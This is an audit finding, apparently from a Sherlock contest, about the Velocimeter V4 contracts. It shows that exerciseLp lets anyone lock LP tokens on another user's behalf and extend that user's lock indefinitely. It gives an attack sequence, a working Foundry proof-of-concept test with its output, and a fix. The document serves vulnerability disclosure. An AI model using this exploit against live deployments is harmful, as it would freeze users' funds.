Polite Butter Gazelle

High

# Attacker can permanently lock users' tokens by calling `OptionTokenV4::exerciseLp` on their behalf

## Summary

Users can lock their LP tokens into gauges to incentivize votes, which can allow them to receive `oTokens` as rewards. Users can withdraw their tokens once their respective `lock time` has passed.

If users choose to deposit again, they have the ability to extend their `lock time`. The problem is that an attacker can deposit on a user's behalf via `OptionTokenV4::exerciseLp` and permanently extend their lock time, forever locking the innocent user's LP tokens and forbidding them from withdrawing.

## Vulnerability Detail

There are two ways for users to lock their LP tokens into gauges for a specific `lock duration`.

The first way is to directly call `Gauge4::depositWithLock` on the gauge. Only the account owner or the `oToken` contract can call this function.

[GaugeV4.sol#L443-L459](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/GaugeV4.sol#L443-L459)
```javascript
    function depositWithLock(address account, uint256 amount, uint256 _lockDuration) external lock {
        require(msg.sender == account || isOToken[msg.sender],"Not allowed to deposit with lock"); 
        _deposit(account, amount, 0);

        if(block.timestamp >= lockEnd[account]) { // if the current lock is expired relased the tokens from that lock before loking again
            delete lockEnd[account];
            delete balanceWithLock[account];
        }

        balanceWithLock[account] += amount;
        uint256 currentLockEnd = lockEnd[account];
        uint256 newLockEnd = block.timestamp + _lockDuration ;
        if (currentLockEnd > newLockEnd) {
            revert("The current lock end > new lock end");
        } 
        lockEnd[account] = newLockEnd;
    }
```

The second way is by utilizing their `oTokens` (options tokens) by exercising them via `OptionTokenV4::exerciseLp` to earn LP tokens at a discount which are immediately locked:

[OptionTokenV4.sol#L700-L704](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/OptionTokenV4.sol#L700-L704)
```javascript
    IGaugeV4(_gauge).depositWithLock(
        _recipient,
        lpAmount,
        getLockDurationForLpDiscount(_discount)
    );
```

However, the difference with these two methods is that `OptionTokenV4::exerciseLp` doesn't check if the specified recipient is the caller, allowing anyone to lock tokens on behalf of another user.

Let's take a closer look at `Gauge4::depositWithLock`:

```javascript
    if(block.timestamp >= lockEnd[account]) { // if the current lock is expired relased the tokens from that lock before loking again
        delete lockEnd[account];
        delete balanceWithLock[account];
    }

    balanceWithLock[account] += amount;
    uint256 currentLockEnd = lockEnd[account];
    uint256 newLockEnd = block.timestamp + _lockDuration ; //@audit lock is extended
    if (currentLockEnd > newLockEnd) {
        revert("The current lock end > new lock end");
    } 
    lockEnd[account] = newLockEnd;
```

Consider a case where the user has already deposited to lock their tokens and they decide to deposit again.

The first `if` statement checks if the `lock duration` has passed. If true, then the lock mappings are reset and updated to a new duration for the new locked amount. The previously locked tokens can then be withdrawn via `GaugeV4::withdrawToken`:

[GaugeV4.sol#L513-L530)](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/GaugeV4.sol#L513-L530)
```javascript
    function withdrawToken(uint amount, uint tokenId) public lock {
        _updateRewardForAllTokens();

        uint256 totalBalance = balanceOf[msg.sender];
        uint256 lockedAmount = balanceWithLock[msg.sender];
        uint256 freeAmount = totalBalance - lockedAmount;
        // Update lock related mappings when withdraw amount greater than free amount
        if (amount > freeAmount) {
            // Check if lock has expired
            require(block.timestamp >= lockEnd[msg.sender], "The lock didn't expire");
            uint256 newLockedAmount = totalBalance - amount;
            if (newLockedAmount == 0) {
                delete lockEnd[msg.sender];
                delete balanceWithLock[msg.sender];
            } else {
                balanceWithLock[msg.sender] = newLockedAmount;
            }
        }
        ...
```

However, if the lock time has *not* passed, it is updated to the `newLockEnd` duration, which is `block.timestamp + _lockDuration` in the future. An attacker can exploit this the following way:

1. Alice locks 1e18 LP tokens for 1 week
2. Attacker backruns and calls `OptionTokenV4::exerciseLp` by specifying Alice's address as the recipient
3. Alice's lock period is now extended by 52 weeks
4. After one week, Alice attempts to withdraw but her call reverts unexpectedly.

In this case, Alice's tokens are locked for 52 weeks. After 51 weeks has passed, the attacker can repeat the call to extend for another 52 weeks, indefinitely locking her tokens. It's important to note that this can only be done by the attacker by locking on her behalf *before* her lock period ends, because that way it will extend her lock period rather than create a new lock period.

## Proof of Concept

<details>
<summary>Coded PoC</summary>
<br>

Add the following to `test/OptionTokenV4.t.sol` and run `forge test --mt testGaugeWithdrawBlocked -vv`

```javascript
    function testGaugeWithdrawBlocked() public {
        vm.startPrank(address(owner)); // address of Alice
        FLOW.approve(address(oFlowV4), TOKEN_1);
        // mint Option token to owner 2
        oFlowV4.mint(address(owner2), TOKEN_1); // address of attacker
        washTrades();
        flowDaiPair.approve(address(gauge),TOKEN_1);

        uint256 lpBalanceBefore = flowDaiPair.balanceOf(address(owner));
        gauge.depositWithLock(address(owner), TOKEN_1, 7 * 86400); // Alice deposits for 1 week
        uint256 startLockDuration = 7 * 86400 / 86400 / 7;
        console.log("Number of weeks for Alice's lock duration: ", startLockDuration);
        vm.stopPrank();

      
        vm.startPrank(address(owner2)); // attacker backruns and deposits with lock on behalf of user
        DAI.approve(address(oFlowV4), TOKEN_100K);
        (uint256 paymentAmount, ) = oFlowV4.exerciseLp(TOKEN_1, TOKEN_1, address(owner),20,block.timestamp);
        vm.stopPrank();

        uint256 newLockDuration = oFlowV4.getLockDurationForLpDiscount(20) / 86400 / 7;

        console.log("Number of weeks Alice's lock duration is extended by the attacker: ", newLockDuration);

        vm.warp(block.timestamp + 7 * 86400 + 1); // more than 1 week has passed

        vm.startPrank(address(owner));
        vm.expectRevert("The lock didn't expire");
        gauge.withdraw(TOKEN_1);
        vm.stopPrank();
    }
```
</details>

### Console Output

```text
Running 1 test for test/OptionTokenV4.t.sol:OptionTokenV4Test
[PASS] testGaugeWithdrawBlocked() (gas: 3446568)
Logs:
  Number of weeks for Alice's lock duration:  1
  Number of weeks Alice's lock duration is extended by the attacker:  52

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 16.74ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

We can see from this test that despite Alice's initial lock duration set to 1 week, she still wasn't able to withdraw after 1 week had passed due to her lock not expiring. This is because the attacker had extended it by 52 weeks.

## Impact

Loss of funds for users, permanently locked tokens, denial of service.

## Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/GaugeV4.sol#L443-L459

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/OptionTokenV4.sol#L700-L704

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/GaugeV4.sol#L513-L530

## Tool used

Manual Review

## Recommendation

`GaugeV4::depositWithLock` does not allow the caller to deposit on behalf of other users. Consider incorporating the same mechanism for `OptionTokenV4::exerciseLp`:

```diff
    function exerciseLp(
        uint256 _amount,
        uint256 _maxPaymentAmount,
        address _recipient,
        uint256 _discount,
        uint256 _deadline
    ) external returns (uint256, uint256) {
+       require(_recipient == msg.sender);      
        if (block.timestamp > _deadline) revert OptionToken_PastDeadline();
        return _exerciseLp(_amount, _maxPaymentAmount, _recipient, _discount);
    }
```